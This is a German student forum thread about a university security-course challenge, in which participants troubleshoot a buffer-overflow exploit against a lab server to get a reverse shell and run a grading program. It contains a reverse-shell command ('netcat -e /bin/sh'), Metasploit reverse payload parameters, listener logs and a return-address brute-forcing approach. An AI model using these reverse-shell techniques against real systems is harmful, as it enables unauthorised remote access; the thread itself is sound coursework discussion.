Challenge3

  • Naja, ich habe nc verwendet, aber halt nur am bandit. Kann sein dass es nc am gangsta gibt, aber eben nicht unter dem Pfad den ich probiert habe. Kann aber auch sein dass "nc is your friend!" so zu interpretieren ist dass man es nur auf bandit verwenden soll.


    So oder so, die Aufgabe ist ziemlich trivial zu loesen wenn man nicht unbedingt darauf Wert legt eine interaktive shell zu haben und sich mit der Ausgabe von /bin/grade zufrieden gibt. ;)

  • ich kann beruhigen; /bin/nc ist auch auf gangsta vorhanden. wobei ich sagen muss, mein versuch, nc auf gangsta aufzurufen war ebenfalls nicht erfolgreich. das warum habe ich da nicht weiter verfolgt, da ich auf anderem weg erfolgreich war.

    [chaas4747]: What the hell is a defence?
    [dermalin3k]:
    It's that wall in deyard between dehouses.

  • Also bei mir gibts folgendes Problem, bei dem ich nicht weiter weiß:
    Lokal:
    kann ich einen Exploit das Kommando netcat ausführt einschleussen und es funktioniert
    der direkte Shellcode für eine ReverseShell funktioniert lokal nicht (das EIP bleibt laut GDB mitten im Shellcode stecken, obwohl dort die Befehle von Metasploit stehen)
    Server:
    da funktioniert nichts von beiden


    --> leider finde ich nicht den Grund, was umso mehr ärgerlich ist, als in der Angabe steht, der "einzige" Unterschied beim Server wäre die richtige Adresse zu finden (was aber mittels Skript nicht wirklich ein Problem sein sollte)


    Kann mir da bitte jemand einen Tipp geben?:wein: Vielen Dank im Voraus!


  • warum willst du umbedingt netcat im exploit einfügen?? der shellcode für eine reverse shell verbindet sich zum angreifer zurück, siehe metasploit: "Connect back to attacker and spawn a shell" (deswegen übergibst du auch host+port) also bringt es nicht viel wenn nc auf gangsta läuft ;)


    EDIT:
    ich glaub ich hab da was falsch verstanden.
    bist du sicher, dass host + port im shellcode stimmen?
    probier dein exploit mal mit einer lokalen shell, also server lokal laufen lassen, puffer überlaufen lassen und schauen ob eine shell in der server anwendung geöffnet wird.

    “I don’t really care which Linux distribution they use, as long as it’s free. Free as in freedom, not as in free beer, by the way. Free as in free beer would be very cool anyway.”



    Edited once, last by quotenschwarze: post falsch verstanden ().

  • Also lokal funktioniert die Reverse Shell nur, wenn ich sie per execute command "netcat -e /bin/sh bandit PORT" aufrufe. Dabei lasse ich lokal netcat listen und die Serveranwendung verbindet sich. Wenn ich diesen Exploit am echten Server ausprobiere tut sich gar nichts.

    Dem Exploit, der direkt eine Reverse Shell öffnen soll, übergebe ich die selben Parameter, also bandit und einen 4 stelligen Port zB 4321. Ich lasse wiederum netcat lokal listen, dieser Versuch scheitert aber sowohl am echten Server als auch lokal. Ich vermute mal, man muss einen anderen Host/Port eingeben, weil mir gdb zeigt, dass der Server mitten im Exploit stecken bleibt (evtl. Verbindungstimeout). Allerdings wüsste ich nicht, warum man nicht bandit und einen 4 stelligen Port nehmen sollte. Der Server soll sich ja zu Bandit verbinden, oder?

  • vielleicht löst dein shellcode keine dns namen auf ;)

    “I don’t really care which Linux distribution they use, as long as it’s free. Free as in freedom, not as in free beer, by the way. Free as in free beer would be very cool anyway.”



  • Ich hab grad ein Problem mit der reverse shell und weiß nicht weiter... :shinner:


    Mein exploit funktioniert auf bandit mit dem eigenen server.c. Da bekomm ich im netcat die Meldung, ich wäre mit bandit verbunden. Ich kann dort auch normale shell-befehle eingeben (im netcat).
    Jetzt hab ich das Ganze auf gangsta probiert. Adresse sollte passen, da ich wieder die Meldung bekomme 'connect to [bandit] from [gangst]...'. Nur leider macht dann das netcat sofort zu, und ich hab keine chance das /bin/grade aufzurufen. :sudern:
    Hab auch schon versucht, das /bin/grade hinten am shellcode dran zu hängen - mit gleichem Ergebnis...


    Als shellcode hab ich von metasploit den für ne reverse shell. Hab ich was übersehn? hab irgendwie keinen Plan warums nicht geht...

  • Schwer zu sagen, hast du die richtigen Ports, Adressen eingegeben und dein netcat auf "listen" gestellt? Der Shellcode von Metasploit sollte ohne Veränderung funktionieren, also dranhängen braucht man da nichts mehr. Überträgst du auch deine UID samt Passwort?

  • Ok hab jetzt nochmal alles kontrolliert, aber es scheint zu passen. Der 'Fehler' bleibt.


    Also ich mach das netcat mit -v -l -p PORT auf. Dann in ner 2. shell ruf ich mein script auf. Hier gleich mal der Kommentar den ich von metasploit hab:

    Code
    1. # linux_ia32_reverse - LHOST=193.168.0.2 LPORT=3333 Size=96 Encoder=PexFnstenvSub http://metasploit.com


    Sollte so auch passen...
    PORT Nummern sind ident. Meine message sollte auch ok sein (UID PASSW NOPs...SHELLCODEADDRADDR...), sonst würd er ja gar nicht schreiben das die Verbindung kam. Ich bekomm einfach folgende Meldung und das wars:

    Code
    1. bandit:~> netcat -v -l -p 3333
    2. listening on [any] 3333 ...
    3. connect to [193.168.0.2] from gangsta.inetsec.edu [193.168.0.3] 2745
    4. bandit:~>


    Es is eigentlich genau wie bei meinem server auf bandit, außer, dass netcat sofort zu macht, anstatt offen zu bleiben und commands zu akzeptieren... :confused:


    EDIT: Hab grad auch probiert mal ein falsches Passwort einzugeben. Dann wartet netcat einfach weiter, ohne dass ne Verbindung kommt. Also sollte das Alles soweit schon mal ok sein.

  • Das war eigentlich der Standard Encoder. Komischerweise steht beim Kommentar oben der ander Encoder auf der Homepage. Ich hab auch ander Shellcodes jetzt getestet - gleiches Ergebnis ... :shiner:


    EDIT: auch die Optionen -c und -e beim lauschenden netcat haben nix gebracht. Allmählich nervts ....


    Bin grade auch drauf gekommen, dass ich netcat beim listen Kommandos auch so geben kann, bevor ich das script ausführe. Ich denk mal es ist aber das selbe wie mit Option -e oder -c. Der output sieht jedenfalls so aus:

    Code
    1. bandit:~> netcat -vv -l -p 3333
    2. listening on [any] 3333 ...
    3. /bin/grade
    4. connect to [193.168.0.2] from gangsta.inetsec.edu [193.168.0.3] 3954
    5. sent 11, rcvd 0 : Connection reset by peer
    6. bandit:~>



    NOCH EIN EDIT: Muss mich wohl entschuldigen, es war die falsche Adresse :rolleyes:
    Anscheinend gibt's mehr Adressen wo ne Verbindung gemacht wird, aber nur bei der Richtigen bekommt man die shell...

  • hi auch ich hab probs mit netcat -> lokal klappt alles super egal ob fork oder nicht -> hab per gdb die return addresse hardcodiert. Hab zusätzlich ein argument hinzugefügt welches zu dem hardcodierten Wert dieses argument hinzuaddiert (argument kann natürlich auch minus sein)


    Hab nun per bash script eine Schleife welches mein Programm immer wieder aufruft und die retaddresse halt immer wieder verändert.


    Den Shellcode hab ich komplett gleich belassen(ip: 193.168.0.2 port 9000) nur leider kommt bei meinem listening netcat keine connection zusammen -> hat irgendwer noch einen Rat ?


    Thx für jeden Tipp - Uter ;)

  • Wenn du Glück hast funktionierts gleich. Wie mein Vorposter oben geschrieben hat, was ich aber nicht sofort verstanden habe, spawned eine shell bei mehreren adressen.


    Ich hab die Schrittweite bei den Adressen die ich durchprobier im Bereich wos zu funktionieren scheint einfach verkleinert und so die richtige Adresse getroffen.

  • ehm leider bleit bei mir netcat durchegehend auf den stauts listening und es sieht so aus als würde mein shellcode nie ausgeführt werden oder irgdnwas wird geblockt -> keine ahnung


    hab nun schon probiert vom hardcodierten wert, der lokal funktioniert -> ca. 5000 Addressen weiter oben und 5000 weiter unten anzusetzen -> leider mit 0 erfolg :(


    Hat jemand noch einen Tipp ?